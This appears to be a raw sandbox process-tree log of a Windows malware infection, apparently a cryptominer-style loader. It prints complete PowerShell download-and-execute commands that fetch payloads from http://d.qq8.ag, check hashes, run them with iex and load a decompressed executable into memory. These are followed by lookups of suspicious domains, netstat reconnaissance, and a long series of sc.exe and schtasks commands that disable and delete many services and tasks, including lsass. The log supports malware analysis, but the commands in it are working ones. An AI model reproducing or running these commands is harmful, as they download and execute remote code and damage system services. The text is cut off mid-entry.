"C:\Windows\system32\cmd.exe" /c echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalTMn',[ref]$localTMn)}catch{};$ifmd5='4001ba98a424fdb63047a23af97ec590';$ifp=$env:tmp+'\m6.bin';$down_url='http://d.qq8.ag';function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)^^^|foreach{$s+=$_.ToString('x2')};return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);$md5_=gmd5 $con_;if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(New-Object Net.WebClient).downloaddata($down_url+'/m6.bin?^^^&RJMQBVDN^^^&00000000-0000-0000-0000-000000000000^^^&46:58:48:78:C9:AA');$t=gmd5 $con;if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;$ifmd5=$md5_}for($i=0;$i -lt $con.count-1;$i+=1){if($con[$i] -eq 0x0a){break}};iex(-join[char[]]$con[0..$i]);$bin=(New-Object IO.BinaryReader(New-Object System.IO.Compression.GzipStream (New-Object System.IO.MemoryStream(,$con[($i+1)..($con.count)])), ([IO.Compression.CompressionMode]::Decompress))).ReadBytes(10000000);$bin_=$bin.Clone();$mep=$env:tmp+'\m6.bin.ori';[System.IO.File]::WriteAllBytes($mep,$bin_+((1..127)^^^|Get-Random -Count 100));test1 -PEBytes $bin|sO2Rkj.exe - &cmd /c copy /y %tmp%\m6.bin.ori %tmp%\m6.bin.exe & %tmp%\m6.bin.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:3936

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalTMn',[ref]$localTMn)}catch{};$ifmd5='4001ba98a424fdb63047a23af97ec590';$ifp=$env:tmp+'\m6.bin';$down_url='http://d.qq8.ag';function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)^|foreach{$s+=$_.ToString('x2')};return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);$md5_=gmd5 $con_;if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(New-Object Net.WebClient).downloaddata($down_url+'/m6.bin?^&RJMQBVDN^&00000000-0000-0000-0000-000000000000^&46:58:48:78:C9:AA');$t=gmd5 $con;if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;$ifmd5=$md5_}for($i=0;$i -lt $con.count-1;$i+=1){if($con[$i] -eq 0x0a){break}};iex(-join[char[]]$con[0..$i]);$bin=(New-Object IO.BinaryReader(New-Object System.IO.Compression.GzipStream (New-Object System.IO.MemoryStream(,$con[($i+1)..($con.count)])), ([IO.Compression.CompressionMode]::Decompress))).ReadBytes(10000000);$bin_=$bin.Clone();$mep=$env:tmp+'\m6.bin.ori';[System.IO.File]::WriteAllBytes($mep,$bin_+((1..127)^|Get-Random -Count 100));test1 -PEBytes $bin"
3⤵
PID:3944

C:\Windows\System32\WindowsPowerShell\v1.0\sO2Rkj.exe
sO2Rkj.exe -
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:660

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='5a275a03a92b0631134fdaa8ebba683c';$ifp=$env:tmp+'\kr.bin';$down_url='http://d.qq8.ag';function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)^^^|foreach{$s+=$_.ToString('x2')};return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);$md5_=gmd5 $con_;if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(New-Object Net.WebClient).downloaddata($down_url+'/kr.bin?^^^&RJMQBVDN^^^&00000000-0000-0000-0000-000000000000^^^&46:58:48:78:C9:AA');$t=gmd5 $con;if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;$ifmd5=$md5_}IEX(-join[char[]]$con)|sO2Rkj.exe -
2⤵
- Suspicious use of WriteProcessMemory
PID:3864

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='5a275a03a92b0631134fdaa8ebba683c';$ifp=$env:tmp+'\kr.bin';$down_url='http://d.qq8.ag';function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)^|foreach{$s+=$_.ToString('x2')};return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);$md5_=gmd5 $con_;if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(New-Object Net.WebClient).downloaddata($down_url+'/kr.bin?^&RJMQBVDN^&00000000-0000-0000-0000-000000000000^&46:58:48:78:C9:AA');$t=gmd5 $con;if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;$ifmd5=$md5_}IEX(-join[char[]]$con)"
3⤵
PID:412

C:\Windows\System32\WindowsPowerShell\v1.0\sO2Rkj.exe
sO2Rkj.exe -
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4108

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1eqh3har\1eqh3har.cmdline"
4⤵
PID:4412

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES450D.tmp" "c:\Users\Admin\AppData\Local\Temp\1eqh3har\CSC89149531FE8748F6A165D14F4345A02D.TMP"
5⤵
PID:4444

C:\Windows\system32\nslookup.exe
"C:\Windows\system32\nslookup.exe" pg.b69kq.com
4⤵
PID:4488

C:\Windows\system32\nslookup.exe
"C:\Windows\system32\nslookup.exe" p.b69kq.com
4⤵
PID:4524

C:\Windows\system32\nslookup.exe
"C:\Windows\system32\nslookup.exe" pg.k3qh4.com
4⤵
PID:4564

C:\Windows\system32\nslookup.exe
"C:\Windows\system32\nslookup.exe" p.k3qh4.com
4⤵
PID:4624

C:\Windows\system32\nslookup.exe
"C:\Windows\system32\nslookup.exe" lplp.ackng.com
4⤵
PID:4696

C:\Windows\system32\NETSTAT.EXE
"C:\Windows\system32\NETSTAT.EXE" -anop TCP
4⤵
- Gathers network information
PID:4728

C:\Windows\system32\nslookup.exe
"C:\Windows\system32\nslookup.exe" pg.b69kq.com
4⤵
PID:4768

C:\Windows\system32\nslookup.exe
"C:\Windows\system32\nslookup.exe" p.b69kq.com
4⤵
PID:4800

C:\Windows\system32\nslookup.exe
"C:\Windows\system32\nslookup.exe" pg.k3qh4.com
4⤵
PID:4836

C:\Windows\system32\nslookup.exe
"C:\Windows\system32\nslookup.exe" p.k3qh4.com
4⤵
PID:4872

C:\Windows\system32\nslookup.exe
"C:\Windows\system32\nslookup.exe" lplp.ackng.com
4⤵
PID:4908

C:\Windows\system32\NETSTAT.EXE
"C:\Windows\system32\NETSTAT.EXE" -anop TCP
4⤵
- Gathers network information
PID:4940

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config xWinWpdSrv Start= Disabled
4⤵
PID:4972

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop xWinWpdSrv
4⤵
PID:4992

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete xWinWpdSrv
4⤵
PID:5012

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config SVSHost Start= Disabled
4⤵
PID:5032

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop SVSHost
4⤵
PID:5052

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete SVSHost
4⤵
PID:5072

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config "Microsoft Telemetry" Start= Disabled
4⤵
PID:5092

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop "Microsoft Telemetry"
4⤵
PID:5112

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete "Microsoft Telemetry"
4⤵
PID:4100

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config lsass Start= Disabled
4⤵
PID:4204

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop lsass
4⤵
PID:2356

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete lsass
4⤵
PID:2620

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Microsoft Start= Disabled
4⤵
PID:1192

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Microsoft
4⤵
PID:4288

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Microsoft
4⤵
PID:3568

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config system Start= Disabled
4⤵
PID:4348

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop system
4⤵
PID:4248

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete system
4⤵
PID:3324

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Oracleupdate Start= Disabled
4⤵
PID:3796

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Oracleupdate
4⤵
PID:4388

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Oracleupdate
4⤵
PID:4368

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config CLR Start= Disabled
4⤵
PID:4436

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop CLR
4⤵
PID:4444

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete CLR
4⤵
- Suspicious use of WriteProcessMemory
PID:4412

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config sysmgt Start= Disabled
4⤵
PID:4504

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop sysmgt
4⤵
PID:4548

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete sysmgt
4⤵
PID:4588

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config \gm Start= Disabled
4⤵
PID:4400

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop \gm
4⤵
PID:4640

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete \gm
4⤵
PID:4704

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WmdnPnSN Start= Disabled
4⤵
PID:4724

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WmdnPnSN
4⤵
PID:4744

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WmdnPnSN
4⤵
PID:4536

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Sougoudl Start= Disabled
4⤵
PID:4740

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Sougoudl
4⤵
PID:4784

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Sougoudl
4⤵
PID:4820

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config National Start= Disabled
4⤵
PID:4844

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop National
4⤵
PID:4856

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete National
4⤵
PID:4880

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Nationaaal Start= Disabled
4⤵
PID:4896

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Nationaaal
4⤵
PID:4812

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Nationaaal
4⤵
PID:4836

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Natimmonal Start= Disabled
4⤵
PID:4932

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Natimmonal
4⤵
PID:4948

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Natimmonal
4⤵
PID:4940

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Nationaloll Start= Disabled
4⤵
PID:4988

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Nationaloll
4⤵
PID:5008

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Nationaloll
4⤵
PID:5040

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Nationalmll Start= Disabled
4⤵
PID:4904

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Nationalmll
4⤵
PID:5084

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Nationalmll
4⤵
PID:3704

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Nationalaie Start= Disabled
4⤵
PID:4116

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Nationalaie
4⤵
PID:1520

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Nationalaie
4⤵
PID:2336

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Nationalwpi Start= Disabled
4⤵
PID:4072

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Nationalwpi
4⤵
PID:4176

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Nationalwpi
4⤵
PID:4320

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WinHelp32 Start= Disabled
4⤵
PID:4244

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WinHelp32
4⤵
PID:3820

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WinHelp32
4⤵
PID:3844

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WinHelp64 Start= Disabled
4⤵
PID:4364

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WinHelp64
4⤵
PID:4448

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WinHelp64
4⤵
PID:4416

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Samserver Start= Disabled
4⤵
PID:4492

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Samserver
4⤵
PID:4572

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Samserver
4⤵
PID:4580

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config RpcEptManger Start= Disabled
4⤵
PID:4644

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop RpcEptManger
4⤵
PID:4716

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete RpcEptManger
4⤵
PID:4500

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config "NetMsmqActiv Media NVIDIA" Start= Disabled
4⤵
PID:4488

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop "NetMsmqActiv Media NVIDIA"
4⤵
PID:4808

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete "NetMsmqActiv Media NVIDIA"
4⤵
PID:4824

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config "Sncryption Media Playeq" Start= Disabled
4⤵
PID:4752

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop "Sncryption Media Playeq"
4⤵
PID:4848

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete "Sncryption Media Playeq"
4⤵
PID:4912

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config SxS Start= Disabled
4⤵
PID:4952

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop SxS
4⤵
PID:5020

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete SxS
4⤵
PID:4992

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WinSvc Start= Disabled
4⤵
PID:5052

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WinSvc
4⤵
PID:4704

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WinSvc
4⤵
PID:4740

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config mssecsvc2.1 Start= Disabled
4⤵
PID:3568

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop mssecsvc2.1
4⤵
PID:5072

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete mssecsvc2.1
4⤵
PID:4836

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config mssecsvc2.0 Start= Disabled
4⤵
PID:4368

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop mssecsvc2.0
4⤵
PID:4588

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete mssecsvc2.0
4⤵
PID:4896

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Windows_Update Start= Disabled
4⤵
PID:3324

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Windows_Update
4⤵
PID:5044

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Windows_Update
4⤵
PID:4208

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config "Windows Managers" Start= Disabled
4⤵
PID:4280

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop "Windows Managers"
4⤵
PID:1752

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete "Windows Managers"
4⤵
PID:4420

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config SvcNlauser Start= Disabled
4⤵
PID:4516

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop SvcNlauser
4⤵
PID:4652

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete SvcNlauser
4⤵
PID:4636

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WinVaultSvc Start= Disabled
4⤵
PID:4756

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WinVaultSvc
4⤵
PID:4800

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WinVaultSvc
4⤵
PID:4908

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Xtfy Start= Disabled
4⤵
PID:5076

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Xtfy
4⤵
PID:2124

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Xtfy
4⤵
PID:2520

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Xtfya Start= Disabled
4⤵
PID:696

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Xtfya
4⤵
PID:4296

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Xtfya
4⤵
PID:4376

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Xtfyxxx Start= Disabled
4⤵
PID:4472

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Xtfyxxx
4⤵
PID:4480

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Xtfyxxx
4⤵
PID:4528

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config 360rTys Start= Disabled
4⤵
PID:4440

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop 360rTys
4⤵
PID:4736

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete 360rTys
4⤵
PID:4796

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config IPSECS Start= Disabled
4⤵
PID:4852

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop IPSECS
4⤵
PID:4928

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete IPSECS
4⤵
PID:2724

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config MpeSvc Start= Disabled
4⤵
PID:5036

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete MpeSvc
4⤵
PID:5112

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop MpeSvc
4⤵
PID:4744

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config SRDSL Start= Disabled
4⤵
PID:4248

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop SRDSL
4⤵
PID:2356

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete SRDSL
4⤵
PID:2312

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WifiService Start= Disabled
4⤵
PID:4948

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WifiService
4⤵
PID:4988

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WifiService
4⤵
PID:2620

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config ALGM Start= Disabled
4⤵
PID:5104

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop ALGM
4⤵
PID:4332

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete ALGM
4⤵
PID:4556

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config wmiApSrvs Start= Disabled
4⤵
PID:4832

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop wmiApSrvs
4⤵
PID:4916

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete wmiApSrvs
4⤵
PID:5100

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config wmiApServs Start= Disabled
4⤵
PID:4120

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop wmiApServs
4⤵
PID:4336

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete wmiApServs
4⤵
PID:4452

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config taskmgr1 Start= Disabled
4⤵
PID:4508

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop taskmgr1
4⤵
PID:3920

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete taskmgr1
4⤵
PID:2208

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WebServers Start= Disabled
4⤵
PID:2240

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WebServers
4⤵
PID:4884

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WebServers
4⤵
PID:5000

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config ExpressVNService Start= Disabled
4⤵
PID:4504

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop ExpressVNService
4⤵
PID:4400

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete ExpressVNService
4⤵
PID:2276

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WWW.DDOS.CN.COM Start= Disabled
4⤵
PID:4348

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WWW.DDOS.CN.COM
4⤵
PID:624

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WWW.DDOS.CN.COM
4⤵
PID:4844

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WinHelpSvcs Start= Disabled
4⤵
PID:4732

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WinHelpSvcs
4⤵
PID:4996

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WinHelpSvcs
4⤵
PID:4308

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config aspnet_staters Start= Disabled
4⤵
PID:4568

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop aspnet_staters
4⤵
PID:4772

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete aspnet_staters
4⤵
PID:4860

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config clr_optimization Start= Disabled
4⤵
PID:4204

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop clr_optimization
4⤵
PID:208

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete clr_optimization
4⤵
PID:2656

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config AxInstSV Start= Disabled
4⤵
PID:4464

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete AxInstSV
4⤵
PID:4352

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop AxInstSV
4⤵
PID:4956

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Zational Start= Disabled
4⤵
PID:4828

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Zational
4⤵
PID:2280

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Zational
4⤵
PID:4496

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config "DNS Server" Start= Disabled
4⤵
PID:4476

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop "DNS Server"
4⤵
PID:2184

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete "DNS Server"
4⤵
PID:2120

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Serhiez Start= Disabled
4⤵
PID:4880

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Serhiez
4⤵
PID:5004

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Serhiez
4⤵
PID:5136

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config SuperProServer Start= Disabled
4⤵
PID:5156

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop SuperProServer
4⤵
PID:5172

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete SuperProServer
4⤵
PID:5188

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config ".Net CLR" Start= Disabled
4⤵
PID:5204

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop ".Net CLR"
4⤵
PID:5224

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete ".Net CLR"
4⤵
PID:5240

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WissssssnHelp32 Start= Disabled
4⤵
PID:5260

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WissssssnHelp32
4⤵
PID:5276

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WissssssnHelp32
4⤵
PID:5292

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WinHasdadelp32 Start= Disabled
4⤵
PID:5308

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WinHasdadelp32
4⤵
PID:5324

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WinHasdadelp32
4⤵
PID:5340

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WinHasdelp32 Start= Disabled
4⤵
PID:5356

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WinHasdelp32
4⤵
PID:5376

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WinHasdelp32
4⤵
PID:5392

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config ClipBooks Start= Disabled
4⤵
PID:5408

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop ClipBooks
4⤵
PID:5432

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete ClipBooks
4⤵
PID:5448

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN my1 /F
4⤵
PID:5464

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Mysa /F
4⤵
PID:5492

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Mysa1 /F
4⤵
PID:5512

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Mysa2 /F
4⤵
PID:5532

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Mysa3 /F
4⤵
PID:5552

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN ok /F
4⤵
PID:5592

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN "Oracle Java Update" /F
4⤵
PID:5632

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN "Oracle Java" /F
4⤵
PID:5612

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN "Spooler SubSystem Service" /F
4⤵
PID:5672

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN "Oracle Products Reporter" /F
4⤵
PID:5692

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN "Microsoft Telemetry" /F
4⤵
PID:5652

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN "Update service for products" /F
4⤵
PID:5712

C:\Windows\system32\schtasks.exe
